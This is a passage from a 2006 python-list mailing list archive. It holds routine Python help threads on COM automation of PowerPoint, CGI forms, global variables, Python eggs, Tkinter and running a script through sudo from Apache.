methods in general, but thought maybe CamelCase would be better for
alternative contstructors to distinguish them from methods...

So which is better?

c = Color.FromHtml(r, g, b)

c = Color.from_html(r, g, b)


Will McGugan
--
http://www.willmcgugan.com



From joel.hedlund at gmail.com  Fri Oct 27 07:00:49 2006
From: joel.hedlund at gmail.com (Joel Hedlund)
Date: Fri, 27 Oct 2006 13:00:49 +0200
Subject: Slightly OT: Is pyhelp.cgi documentation search broken?
In-Reply-To: <mailman.1338.1161939995.11739.python-list@python.org>
References: <ehppm4$md4$1@news.lysator.liu.se>
	<mailman.1338.1161939995.11739.python-list@python.org>
Message-ID: <ehsohi$ef6$1@news.lysator.liu.se>

> It works now again.  

You are now officially my hero.

> Note that you can also download the module and use it locally.

Cool. I'll do that!

Thanks!
/Joel


From MonkeeSage at gmail.com  Sat Oct  7 13:26:22 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 7 Oct 2006 10:26:22 -0700
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <mailman.18.1160209645.11739.python-list@python.org>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
	<mailman.1.1160189272.11739.python-list@python.org>
	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>
	<mailman.18.1160209645.11739.python-list@python.org>
Message-ID: <1160241982.216511.281950@m73g2000cwd.googlegroups.com>



On Oct 7, 3:27 am, Gabriel Genellina <gagsl... at yahoo.com.ar> wrote:
> The meaning comes from the most common usage.

I wasn't suggesting that the "in" keyword have a different sematic for
sequence types. I was just saying that regarding the question whether
there is anything similar to "dict.has_key / k in dict" for lists, the
"in" keyword is not semantically analogous.

> Because it's not needed at all: valid sequence indexes are *exactly*
> range(len(seq)). This is the basic point of being a sequence: when
> indexes are not contiguous, in fact you have a mapping, not a sequence.

True. But valid dictionary keys are exactly d.keys(). The has_key
method is just sugar.

> Sometimes, maybe... But since you can write it efficientely in a few
> lines when needed, I don't see the need to put it into the core language.

Couldn't the same be said for dictionaries? I could write for
sequences:

if index < len(seq) and seq[index]: ...

But I could also write for dictionaries:

if key in dic.keys() and dic[key]: ...

I just wonder why the syntactic sugar was added for dicts, but not for
sequence types.

Regards,
Jordan



From wescpy at gmail.com  Wed Oct 11 20:19:41 2006
From: wescpy at gmail.com (wesley chun)
Date: Wed, 11 Oct 2006 17:19:41 -0700
Subject: Adding Worksheets to an Excel Workbook
Message-ID: <78b3a9580610111719j4fea5802jd2e581ad88988682@mail.gmail.com>

> just a small OT question coming from a linux openoffice
> system...
>
> Does there exist something similar for powerpoint? Would be
> nice, if anybody can direct me to more examples...


fabian,

see below for a PP example.  you mentioned you were coming from a
linux OOo system... are you trying to do COM stuff with OOo?  i'm not
familiar with it, but since they do support
some level of VB-like scripting, i don't believe it's out of the question.

one thing that i did forget to mention in my earlier message is that i
use static dispatch for these apps.  if you did not go and run the
makepy utility, you would have to use dynamic dispatch, start your
apps with win32com.client.Dispatch(), or, using the same import
statement as below, win32.Dispatch().

anyway, here is pretty much the same script as i sent earlier but for
PowerPoint instead of Excel (the book has small examples for each of
Excel, Word, PowerPoint, and Outlook):

# based on ppoint.pyw in Core Python Programming, 2nd ed

from time import sleep
import win32com.client as win32

def ppoint():
    ppoint = win32.gencache.EnsureDispatch('PowerPoint.Application')
    pres = ppoint.Presentations.Add()
    ppoint.Visible = True

    s1 = pres.Slides.Add(1, win32.constants.ppLayoutText)
    sleep(1)
    s1a = s1.Shapes[0].TextFrame.TextRange
    s1a.Text = 'Python-to-PowerPoint Demo'
    sleep(1)
    s1b = s1.Shapes[1].TextFrame.TextRange
    for i in range(3, 8):
        s1b.InsertAfter("Line %d\r\n" % i)
        sleep(1)
    s1b.InsertAfter("\r\nTh-th-th-that's all folks!")

    sleep(5)
    pres.Close()
    ppoint.Quit()

if __name__=='__main__':
    ppoint()

HTH!
-- wesley
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
"Core Python Programming", Prentice Hall, (c)2007,2001
    http://corepython.com

wesley.j.chun :: wescpy-at-gmail.com
python training and technical consulting
cyberweb.consulting : silicon valley, ca
http://cyberwebconsulting.com


From sparkytwobillion at gmail.com  Mon Oct 16 22:45:17 2006
From: sparkytwobillion at gmail.com (runningwild)
Date: 16 Oct 2006 19:45:17 -0700
Subject: httplib and HTTPS Connections
In-Reply-To: <1161052193.081315.140370@h48g2000cwc.googlegroups.com>
References: <1161052193.081315.140370@h48g2000cwc.googlegroups.com>
Message-ID: <1161053117.737718.238680@i42g2000cwa.googlegroups.com>


runningwild wrote:
> Helo,
>
> This is the first time I have cared about httplib's HTTPSConnection.
>
> In the docs I read "Note: HTTPS support is only available if the socket
> module was compiled with SSL support."
>
> Although my small test script "seems" to work when connecting to a
> webserver via HTTPS I am really not sure.
>
> In other words it worked the first time. I never trust anything that
> seems to work right the first time. ;-)
>
> My question is how can I tell if the criteria in the "NOTE:" is met?
> How do I know that the socket module was indeed compled with SSL
> support?
>
> The reason this is important is that I am building a credit card
> payment system.
>
> Here is my little test script
> ========================
> Python 2.4.3
>
> import httplib
> conn = httplib.HTTPSConnection('**********')
> conn.request('GET' '/index.html')
> resp = conn.getresponse()
>
> page = resp.read()
> print page

Quick followup:

I just got off the phone with my sys admin. Python was compiled with
the ssl flag turned on.
ssl does work other applications.

I am assuming we are covered. I just want to be sure.



From jsanga at cox.net  Fri Oct 13 13:54:34 2006
From: jsanga at cox.net (mzdude)
Date: 13 Oct 2006 10:54:34 -0700
Subject: Appropriate way to quit Tkinter
In-Reply-To: <mailman.460.1160756122.11739.python-list@python.org>
References: <1160675883.753402.70430@i3g2000cwc.googlegroups.com>
	<mailman.400.1160685492.11739.python-list@python.org>
	<1160700517.014505.304880@b28g2000cwb.googlegroups.com>
	<mailman.460.1160756122.11739.python-list@python.org>
Message-ID: <1160762074.705875.324590@e3g2000cwe.googlegroups.com>


Fredrik Lundh wrote:
> mzdude wrote:
>
> >> works for me.  are you perhaps running this under some kind of IDE that
> >> keeps the process running even after the program has terminated?
> >>
> > It works the same way if I run from IDLE or from the DOS command prompt.
>
> I find very hard to believe that a Python interpreter run from the DOS
> command prompt wouldn't terminate when it reaches the end of the main
> program.
>
> what Python distribution are you using?
>
> </F>

Not sure I understand the question. I downloaded python-2.5.msi from
python.org/download.

>From the IDLE
Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit
(Intel)] on win32
Type "copyright", "credits" or "license()" for more information.



From alistair.king at helsinki.fi  Mon Oct 30 12:30:25 2006
From: alistair.king at helsinki.fi (Alistair King)
Date: Mon, 30 Oct 2006 19:30:25 +0200
Subject: create global variables?
In-Reply-To: <4546349A.7070701@islandtraining.com>
References: <4546317A.8040500@helsinki.fi>
	<4546349A.7070701@islandtraining.com>
Message-ID: <454636B1.1030308@helsinki.fi>

Gary Herron wrote:
> Alistair King wrote:
>   
>> Hi,
>>
>> is there a simple way of creating global variables within a function?
>>
>>   
>>     
> Use the "global" statement within a function to bind a variable to a
> global. 
>
> See http://docs.python.org/ref/global.html for details.
>
>
>   
>>>> def x():
>>>>         
> ...          global g
> ...          g = 123
> ...
>   
>>>> x()
>>>> g
>>>>         
> 123
>   
>
> Gary Herron
>
>
>
>
>   
>> ive tried simply adding the variables in:
>>
>> def function(atom, Xaa, Xab):
>>     Xaa = onefunction(atom)
>>     Xab = anotherfunction(atom)
>>
>> if i can give something like:
>>
>> function('C')    #where atom = 'C' but not necessarly include Xaa or Xab
>>
>> i would like to recieve:
>>
>> Caa = a float
>> Cab = another float
>>
>> ive tried predefining Xaa and Xab before the function but they are
>> global values and wont change within my function. Is there a simple way
>> round this, even if i call the function with the variables ('C', Caa, Cab)?
>> ..............................................................................................................................
>>
>> some actual code:
>>
>> # sample dictionaries
>> DS1v = {'C': 6}
>> pt = {'C': 12.0107}
>>
>> def monoVarcalc(atom):
>>     a = atom + 'aa'
>>     Xaa = a.strip('\'')
>>     m = atom + 'ma'
>>     Xma = m.strip('\'')
>>     Xaa = DS1v.get(atom)
>>     Xma = pt.get(atom)
>>     print Xma
>>     print Xaa
>>
>> monoVarcalc('C')
>>
>> print Caa
>> print Cma
>> ..............................................................................................................................
>> it seems to work but again i can only print the values of Xma and Xaa
>>
>> ?
>>
>> Alistair
>>
>>   
>>     
>
>   
have tried:

def monoVarcalc(atom):
    a = atom + 'aa'
    Xaa = a.strip('\'')
    m = atom + 'ma'
    Xma = m.strip('\'')
    global Xma
    global Xaa
    Xaa = DS1v.get(atom)
    Xma = pt.get(atom)
    print Xma
    print Xaa

monoVarcalc('C')

print Caa
print Cma
.......................................................................................................

where global Xma & Xaa are before and after any further functions

i get still get the error

Traceback (most recent call last):
  File "DS1excessH2O.py", line 54, in ?
    print Caa
NameError: name 'Caa' is not defined


-- 
Dr. Alistair King
Research Chemist,
Laboratory of Organic Chemistry,
Department of Chemistry,
Faculty of Science
P.O. Box 55 (A.I. Virtasen aukio 1)
FIN-00014 University of Helsinki
Tel. +358 9 191 50392, Mobile +358 (0)50 5279446
Fax +358 9 191 50366 



From antroy at gmail.com  Sat Oct 21 03:50:34 2006
From: antroy at gmail.com (Ant)
Date: 21 Oct 2006 00:50:34 -0700
Subject: FOR statement
In-Reply-To: <453911b6$0$19616$88260bb3@free.teranews.com>
References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>
	<453911b6$0$19616$88260bb3@free.teranews.com>
Message-ID: <1161417033.963163.275300@i3g2000cwc.googlegroups.com>


Jordan Greenberg wrote:
...
> >>> def printreverse(lst):
> 	if lst:
> 		printreverse(lst[1:])
> 		print lst[:1][0]

Convoluted way of writing "print lst[0]" !

> >>> printreverse([1,2,3,4])
>
> No good reason at all to do it this way. But recursion is fun.

But there's a good reason not to. Try:

printreverse(range(1000))

Recursion has a maximum depth (of 1000 by default) in Python.



From steve at holdenweb.com  Tue Oct 24 19:58:07 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 25 Oct 2006 00:58:07 +0100
Subject: return same type of object
In-Reply-To: <453e8f03$0$31941$426a74cc@news.free.fr>
References: <bqp%g.80658$073.43363@trnddc01>	<453e26bf$0$21879$426a74cc@news.free.fr>	<Ots%g.3442$hK.1804@trnddc02>
	<453e8f03$0$31941$426a74cc@news.free.fr>
Message-ID: <ehm98e$o8i$1@sea.gmane.org>

Bruno Desthuilliers wrote:
> David Isaac a ?crit :
[...]
> 
>>But Steve suggests going with the latter.
> 
> 
> That's what I'd do too a priori.
> 
Believe it or not, I wasn't at the priory when I wrote that.

Sorry.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From superflit at gmail.com  Tue Oct 24 17:37:50 2006
From: superflit at gmail.com (flit)
Date: 24 Oct 2006 14:37:50 -0700
Subject: Simple python + html + from --> to python script
In-Reply-To: <ehm0k8$r37$1@aioe.server.aioe.org>
References: <1161722017.705987.78760@m7g2000cwm.googlegroups.com>
	<mailman.1111.1161722642.11739.python-list@python.org>
	<1161724741.888254.321030@m73g2000cwd.googlegroups.com>
	<ehm0k8$r37$1@aioe.server.aioe.org>
Message-ID: <1161725870.633545.31800@f16g2000cwb.googlegroups.com>

Sorry but for a totally newbie the lib doccumentation doesnt help..
The target audience for the docs are for "grown ups" programmers..
I think I will do some tutorial, in baby steps...

J. Clifford Dyer wrote:
> A good starting place would be the documentation on python.org.
>
> In this case, the python library reference would have been helpful:
>
> http://docs.python.org/lib/lib.html
>
> Cheers,
> Cliff
>
>
> flit wrote:
> > Man....
> > Very thanks...
> > I really try to find some source of good and simple and nothing..
> > Many thanks you are a great help!
> >
> > Steve Holden wrote:
> >> flit wrote:
> >>> Hello All,
> >>>
> >>> I am trying to get information from a form and send it to a python
> >>> script without success..
> >>> Here is my objective:
> >>>
> >>> User enters data in form --> form send variables to python script -->
> >>> script runs and output result.
> >>>
> >>> the form code
> >>>
> >>> <form method="post" action="/cgi-bin/script.py" name="coord">Entre com
> >>> os dados <input name="data1"><br>
> >>>
> >>> Entre com os dados <input name="data2"><br>
> >>> Vai magraum <button name="submete"></button></form>
> >>>
> >>> In my script.py
> >>>
> >>> What I should have to print
> >>> something like
> >>>
> >>> Hello the data1 + data 2 = ....
> >>>
> >>> ?
> >>>
> >>> Maybe I am stumbling in something very simple, but I cannot find some
> >>> working example, and I am totally confused...
> >>> Thanks in advance
> >>>
> >> Untested, without error checking. Caveat emptor:
> >>
> >> import cgi
> >> import cgitb; cgitb.enable() # optional error handling
> >>
> >> form = cgi.FieldStorage()
> >>
> >> d1 = form["data1"].value
> >> d2 = form["data2"].value
> >>
> >> print """\
> >> Content-type: text/plain
> >>
> >> Hello: the data were: %s and %s""" % (d1, d2)
> >>
> >> regards
> >>   Steve
> >> --
> >> Steve Holden       +44 150 684 7255  +1 800 494 3119
> >> Holden Web LLC/Ltd          http://www.holdenweb.com
> >> Skype: holdenweb       http://holdenweb.blogspot.com
> >> Recent Ramblings     http://del.icio.us/steve.holden
> >



From abu at software-lab.de  Fri Oct 20 04:20:49 2006
From: abu at software-lab.de (Alexander Burger)
Date: Fri, 20 Oct 2006 10:20:49 +0200
Subject: Tkinter--does anyone use it for sophisticated GUI development?
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<7xac3ra6wg.fsf@ruckus.brouhaha.com>
Message-ID: <eha0t1$eof$00$1@news.t-online.com>

Paul Rubin <http://phr.cx at nospam.invalid> wrote:
> There's a language called Picolisp in which this is the standard way
> to do a gui.  Picolisp includes a java applet that can do some stuff
> that standard html widgets can't.  These days I suppose it should use
> AJAX.

Yes, in fact it does.

The currently active "testing version"

   http://www.software-lab.biz/1024/?download&picoLisp.tgz

also has a plain HTML GUI, enhanced by XMLHttpRequests, in a way that it
works transparently in browsers with or without JavaScript enabled. We
are using it in all our current projects.

- Alex


From fredrik at pythonware.com  Fri Oct 13 04:34:30 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 13 Oct 2006 10:34:30 +0200
Subject: Freeware link/html checker (validator) for mod_python site
References: <452F4969.1040203@gmail.com>
Message-ID: <egnj2m$72g$1@sea.gmane.org>

"durumdara" <durumdara at gmail.com> wrote:

> Sorry for non-pythonic subject, but if I not find good solution, I will
> write a  routine for this in python... :-)))

in your Python installation (or source) directory, do

    $ cd Tools/webchecker

and then write

    $ python webchecker.py -x http://yoursite

(use --help to get a man page)

</F> 





From fredrik at pythonware.com  Tue Oct 17 10:06:48 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 16:06:48 +0200
Subject: Looking for assignement operator
References: <eh2n08$4ji$1@online.de>
Message-ID: <eh2o1o$4fi$1@sea.gmane.org>

Alexander Eisenhuth wrote:

> is there a assignement operator, that i can overwrite?

no.

</F> 





From jeff at taupro.com  Wed Oct 11 11:01:53 2006
From: jeff at taupro.com (Jeff Rush)
Date: Wed, 11 Oct 2006 10:01:53 -0500
Subject: A Call for a Presenter on Python Eggs
Message-ID: <452D0761.3020104@taupro.com>

Eggs are important to Python and will become more so over the next few years,
if understood and embraced by the community.  They are a key competitive
feature - I've been asked so many times what is the Python equivalent to CPAN
and finally we're developing an answer.

At PyCon 2007 we need a solid set of talks about eggs, broken down into just
using them, how to build and distribute them, and then an advanced talk on
some of the more exotic aspects of eggs.  At PyCon 2006, essentially the 3rd
talk I mention above was given to a standing-room-only audience, and then
repeated against an hour later as people in the hall could not get in.  But
missing were the first two talks - many people were not ready for advanced
material but sought an introduction.

Who in our community is building eggs on a frequent basis, and is good at
explaining how they work?

Below are three talk outlines I've sketched out, along with the slides from a
talk I tossed together for the Dallas Pythoneers group.  They need polish and
I'm donating them to the cause.

Will someone please step forward and address this critical need?

For revision, links to the three wiki outline pages appear on:
  http://us.pycon.org/TX2007/TalkIdeas

---
Python Eggs - Using and Installing Them

    * What is so cool about eggs? Wow me.
    * What problem were they intended to solve?
    * What is their relation to distutils?
    * So how does distutils work then?
    * How do they compare to CPAN and RPM approaches?
    * Sound good, how do I enable eggs on my system?
    * How do I accomplish common operations?
          o install an egg
          o test install an egg, to see if it would work
          o uninstall an egg
          o list what eggs are installed at the moment
          o switch between the versions of an egg
    * I don't trust eggs - how can I partially install one,
      examine it and then finish the installation?
    * How do I find out what eggs exist, and their names?
    * What about py2exe and droplets? Competing approaches?
    * Show me a walkthru of the cheeseshop - how to find a package.
    * How do I figure out the author of an egg I'm having trouble with?

---
Python Eggs - Creating and Distributing Them

    * Where does distutils fit in?
    * What do I need to add to setup.py to package my software as an egg?
    * How does it work re path configuration files?
    * What are the issues with zipped eggs; how can my code access my data?
    * How do I produce cross-platform eggs?
    * How do I produce platform-specific eggs?
    * How do I get my eggs registered on the cheeseshop?
    * How do I upload my eggs, source and binaries?
    * How can I volunteer as a packager for non-egg authors?
    * Some eggs are broken in the cheeseshop - how can I help?

(Keep this talk simple and focused on _just_ getting your vanilla egg packaged
and uploaded. Defer the advanced egg issues to the third talk).

---
Python Eggs - Advanced Packaging

    * What are entry points?
    * How does dynamic discovery/plugins work?
    * I hear Trac uses them - how?
    * What are extras? They sound nifty!
    * What is a namespace package? When and how do I use them?
    * How can I have multiple distribution versions?
    * I hear eggs can detect files under CVS/subversion
      control - how does that work?
    * Also eggs have support for units tests - how?
    * Where do the egg experts hang out?

An Old Talk of mine about Eggs (from which to borrow slides/ideas):

    * Attach:2006-03-25-AboutPythonEggs.odt
    * Attach:2006-03-25-AboutPythonEggs.pdf

-Jeff
Co-Chair PyCon 2007


From stateroad at gmail.com  Tue Oct 24 08:07:49 2006
From: stateroad at gmail.com (Marshall)
Date: 24 Oct 2006 05:07:49 -0700
Subject: Change on file
In-Reply-To: <mailman.1060.1161690469.11739.python-list@python.org>
References: <mailman.1060.1161690469.11739.python-list@python.org>
Message-ID: <1161691668.981510.209570@b28g2000cwb.googlegroups.com>

You could use ctime to see it by the time.

MD5 it's a most secure way to a file that CAN'T be modified. If you
just want to see if the file has been modified (like to make a cache),
use ctime.



From Hakusa at gmail.com  Mon Oct 23 02:47:45 2006
From: Hakusa at gmail.com (Hakusa at gmail.com)
Date: 22 Oct 2006 23:47:45 -0700
Subject: Arrays? (Or lists if you prefer)
In-Reply-To: <453c63ea$0$4578$4fafbaef@reader2.news.tin.it>
References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com>
	<%jV_g.7670$5i7.2617@newsreading01.news.tds.net>
	<453c63ea$0$4578$4fafbaef@reader2.news.tin.it>
Message-ID: <1161586065.333264.130730@b28g2000cwb.googlegroups.com>


Andrea Griffini wrote:
> Neil Cerutti wrote:
>
> >     >>> b =[range(2), range(2)]
>
> I often happened to use
>
>        b = [[0] * N for i in xrange(N)]
>
> an approach that can also scale up in dimensions;
> for example for a cubic NxNxN matrix:
>
>        b = [[[0] * N for i in xrange(N)]
>             for j in xrange(N)]
> 
> Andrea

What's the difference between xrange and range?



From onurb at xiludom.gro  Mon Oct  2 04:50:13 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 02 Oct 2006 10:50:13 +0200
Subject: windev vs python SOS
In-Reply-To: <1159632848.993229.58300@m7g2000cwm.googlegroups.com>
References: <nXzSg.195$nn3.31@nntpserver.swip.net>
	<0001HW.C14424C100B023CEF0488530@news.individual.de>
	<1159632848.993229.58300@m7g2000cwm.googlegroups.com>
Message-ID: <4520d2c7$0$2782$636a55ce@news.free.fr>

Amanda wrote:
(snip)
> I am always amazed when I meet fanatics!!

I'm always amazed when I meet PC-Soft's salespersons...

> Links abour Windev for those who like facts :
> 
> http://www.windev.com/pcsoft/testimonials/index.html
> http://www.pcsoft.fr/annonce10/photos.html
> http://www.pcsoft.fr/pcsoft/120pages/index.html

"Facts" ? Lol ! It's about as factual as the existence of Saddam
Hussein's mass destruction weapons.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From gagsl-py at yahoo.com.ar  Thu Oct 19 18:33:19 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 19 Oct 2006 19:33:19 -0300
Subject: Lead Software Engineer
In-Reply-To: <1161295580.670392.26500@k70g2000cwa.googlegroups.com>
References: <1161295580.670392.26500@k70g2000cwa.googlegroups.com>
Message-ID: <7.0.1.0.0.20061019192946.05aab620@yahoo.com.ar>

At Thursday 19/10/2006 19:06, Emma wrote:

>Successful candidates meet the following requirements:
>? 10+ years experience designing and implementing high volume web
>applications

So you almost have to be Tim Berners-Lee to 
qualify... Who were developing "high volume web applications" on 1996?


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From roman.yakovenko at gmail.com  Thu Oct 19 06:58:26 2006
From: roman.yakovenko at gmail.com (Roman Yakovenko)
Date: Thu, 19 Oct 2006 12:58:26 +0200
Subject: Python wrapper for C++ core
In-Reply-To: <1161252654.989703.301750@i3g2000cwc.googlegroups.com>
References: <1161126339.893795.254110@i3g2000cwc.googlegroups.com>
	<1161153430.166027.301810@m73g2000cwd.googlegroups.com>
	<1161252654.989703.301750@i3g2000cwc.googlegroups.com>
Message-ID: <7465b6170610190358k71f6accfo4afbb6c634d5dd15@mail.gmail.com>

On 19 Oct 2006 03:10:55 -0700, Holly <holly.woodland at gmail.com> wrote:
>
> Thanks everyone for the responses - I think I have a better
> understanding now. I can handle all the messy I/O in Python and use C
> for the number crunching. I especially like the idea of using python to
> output the results to excel.
>
> OK time to learn Python i think - any tips on best place to start
> (tutorials/documentation etc). I have a pretty comprehensive background
> in C/C++/Java and a bit of experience some other scripting languages so
> its really a matter of syntax/libraries rather than programming
> theory/constructs

Be sure to check Boost.Python to create Python bindings for your project(s):
http://boost.org/libs/python/doc/tutorial/doc/html/index.html

-- 
Roman Yakovenko
C++ Python language binding
http://www.language-binding.net/


From jan.bakuwel at int.greenpeace.org  Fri Oct 13 12:38:53 2006
From: jan.bakuwel at int.greenpeace.org (Jan Bakuwel)
Date: Fri, 13 Oct 2006 18:38:53 +0200
Subject: Newbie: how to wait for callbacks...
Message-ID: <12ivg8tpvmv9206@corp.supernews.com>

Hoi all,

I'm trying to write a little code that waits for a callback routine to
be called, ideally with a timeout...

I guess the code below is not right (using a boolean flag), but since
I'm new to Python, I don't know yet where the semaphores live and/or
whether I'm on the right track...

Any help is much appreciated...

Jan


def processEmail(emailMessage):

    sendSent = False

    def sendComplete(result):
        print "Message sent successfully"
        processEmail.sendSent = True
    #end sendComplete

    def sendFailed(error):
        print >> sys.stderr, "Error", error.getErrorMessage()
        processEmail.sendSent = True
    #end sendFailed

    if emailMessage.is_multipart():
        print "...multipart"
        for pl in emailMessage.walk():
            pass
    else:
        print "...not multipart"
    # simulate some processing that will take place here
    time.sleep(1)

    multiMessage = MIMEMultipart()
    multiMessage['From'] = emailMessage['From']
    multiMessage['To'] = emailMessage['To']
    multiMessage['Subject'] = emailMessage['Subject']
    messageData = multiMessage.as_string(unixfrom=False)
    sending = smtp.sendmail('smtp', 't at t.t', 't at t.t', messageData)
    sending.addCallback(sendComplete).addErrback(sendFailed)

    while not processEmail.sendSent:
        print "z"
        time.sleep(0.1)
    #end while

    print "...done"
    #raise smtp.SMTPDeliveryError(code=550, resp="Unable to deliver
email, please try again later", isFatal=True, retry=False)
    print ""
    #endif

#end ProcessEmail


From deets at nospam.web.de  Mon Oct  9 10:25:21 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Mon, 09 Oct 2006 16:25:21 +0200
Subject: Dive Into Java?
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net>
Message-ID: <4ov4ekFg823lU1@uni-berlin.de>

Bjoern Schliessmann wrote:

> Diez B. Roggisch wrote:
> 
>> While I do not love java, this is one of the dumbest statements
>> for a while in this NG - even though it is not meant to be too
>> serious.
> 
> Thanks for your concern. I didn't really state this from dumbness
> though.

What do you mean by "from dumbness"? I didn't accuse you of being dumb, if
that is what you are concerned of. But the statement was.

> BTW, definitely consider looking up "irony" and "emoticon" in an
> encyclopedia of your choice.

Putting a single emoticon on the end of an unreflected and wrong statement
doesn't make that statement a beacon of irony and wit. And in context of
somebody seeking enlightment regarding java, it's especially unhelpful and
confusing I think. Which was the reason for my post.

> C++ has a lot of wicked, complicated features like overloadable
>> assignment statements and so on, misses GC, and is in general
>> semantically very overloaded.
> 
> Maybe. Though I think there /are/ languages with more complicated
> features, with an imperfomant GC that can't be controlled, or more
> semantically overloaded.

So what? Either you talk about Java here, then name it and prove these
points, or not, then where is the relevance of that statement to this
discussion? 

IF you talk about java and GC: yes, can be painful sometimes, in high-load
scenarios. And you can tweak it, btw. 

But I can count the cases I ran into GC-troubles on one hand, where the
number of segfaults due lack of GCing in C++ are endless. And certainly not
only for me....

> BTW, what exactly do you mean by "semantically overloaded" in the
> case of C++? E. g. the :: and . operators where one could do both?

For example: the overloading of assignment operators, casting operators,
copy constructors and the like that, and the fact that one of them is
possibly chosen in absence of the other. 

The subtle differences between pointers and references.

Ahh, not to forget the joys of slicing through non-virtual
copy-constructors. And while we are talking about it: virtual - a keyword
with a great deal of meanings....

Missing definition of static initializer order, at least for some binary
formats.

I could continue for some while...

>> All that make programming it a real PITA, as you permanently are
>> at risk loosing your feet through self-inflicted gun-shot-wounds.
> 
> It can be quite convenient. Not as convenient as Python, but it's
> not impossible at all to write working code without hundreds of
> bugs. But that's what it reads like in your posting.

I didn't state that you can't produce working code with C++, I said that it
is remarkably more difficult than with java (and python anyway). Because of
aforementioned complications in the language design of C++.

>> While Java is a language that makes it difficult to produce nice
>> or beautiful code,
> 
> because it wanted to be new and good but took over much of C++'s
> syntax and made it even weirder,

Even weirder? Care to explain? While they _did_ choose some unneccessary
syntactic crud to stay in, even though it isn't needed (e.g. the
superfluous new-keyword), I don't see a lot of things like ::, ->, virtual,
=0 and so on. Not to mention struct and friend of course.

Yes, they tried to make it appealing to the eye of a C++-programmer. But
that pretty much is it.

>> it certainly is a language that hinders you to shoot in your own
>> foot really badly.
> 
> No, it is a language that forbids almost everything from C++ which
> could be dangerous, and at the same time reimplements some of those
> features "under the hood": E. g. no operator overloading, but "+"
> concatenation of strings. What if you'd like to implement your own
> string-derived class? Ah, never mind. Operator overloading is
> bad(tm) ;) <= Irony, definitely

You are confusing things here. That you can't implement your own string
derived class has to do with java.lang.String being final - something I
grief about, too. But nothing with operator overloading of + for _all_
objects that support toString()....

Yes, Java lacks operator overloading, and that is a pity sometimes. But
getting productive with it is certainly in between python and C++, and not
below.

Diez


From jiang.haiyun at gmail.com  Sat Oct 28 05:07:11 2006
From: jiang.haiyun at gmail.com (jiang.haiyun at gmail.com)
Date: 28 Oct 2006 02:07:11 -0700
Subject: Python crashed when importing SOAPpy,
	printing out 'usage:copy source destination'
Message-ID: <1162026431.149026.215510@h48g2000cwc.googlegroups.com>

Hello all,
when i import SOAPpy, the python crashed and print out 'usage:copy
source destination'.
As follows:
############################
haiyun# python
Python 2.4.1 (#2, Mar 28 2006, 21:00:14)
[GCC 3.4.2 [FreeBSD] 20040728] on freebsd5
Type "help", "copyright", "credits" or "license" for more information.
>>> import SOAPpy
usage:copy source destination
#############################
Then i checked and found that in my pwd there is a .py file,
i guess it is this file caused the problem.
the file content is as follows:
############################
haiyun# cat a.py
#!env python
usage="usage:copy source destination\n"
import sys
len=len(sys.argv)
if len!=3 :
        print usage
        sys.exit()
################end#########

So the python will crash when i import SOAPpy if working in a dir
containing this .py file,
and if rename the .py file to another type , say .txt, the problem
dispeared.

Who can tell me what's the problem.



From martin.dion at gmail.com  Wed Oct 18 18:16:40 2006
From: martin.dion at gmail.com (martdi)
Date: 18 Oct 2006 15:16:40 -0700
Subject: pexpect with apache
In-Reply-To: <1gxZg.3425$ya1.2766@news02.roc.ny>
References: <1161141336.176386.19650@m73g2000cwd.googlegroups.com>
	<1161202610.865795.63830@f16g2000cwb.googlegroups.com>
	<1gxZg.3425$ya1.2766@news02.roc.ny>
Message-ID: <1161209800.433795.303600@e3g2000cwe.googlegroups.com>

Sudo is probably the best solution here, since in the file sudo.conf
you could restrict the www user only to the python script that requires
it.

Also, using either sudo or the setuid flag would remove the need of
pexpect since all the commands will be run as the designated user.

for setuid flag:
chmod u+s pythonScript.py
chown root pythonScript.py

for the sudo solution, add an entry to /etc/sudo.conf or /etc/sudoers ,
depending on distro:
the syntax for a line in sudo.conf is:
    user hostlist = (userlist) commandlist

so you might want to add:
    www localhost = NOPASSWD: /var/www/htdocs/pythonScript.py

note:
    Replace the /var/www/htdocs/pythonScript.py with the path to where
your script is
    the NOPASSWD: is a flag that tells sudo that no password is
required

Lee Harr wrote:
> > Well, first i don't think it is a good idea to have the python script
> > tu su to root, but for it to work, i think (Totally unsure about that)
> > www has to be in group wheel to be able to su.
> 
> 
> Maybe sudo can help here.



From hanumizzle at gmail.com  Fri Oct 13 10:03:29 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 10:03:29 -0400
Subject: Converting MSWord Docs to PDF
In-Reply-To: <1160557838.143189.117730@c28g2000cwb.googlegroups.com>
References: <4524431F@webmail.azwestern.edu>
	<mailman.278.1160550152.11739.python-list@python.org>
	<1160557838.143189.117730@c28g2000cwb.googlegroups.com>
Message-ID: <463ff4860610130703r3d42233cle5a44d23b62aeb32@mail.gmail.com>

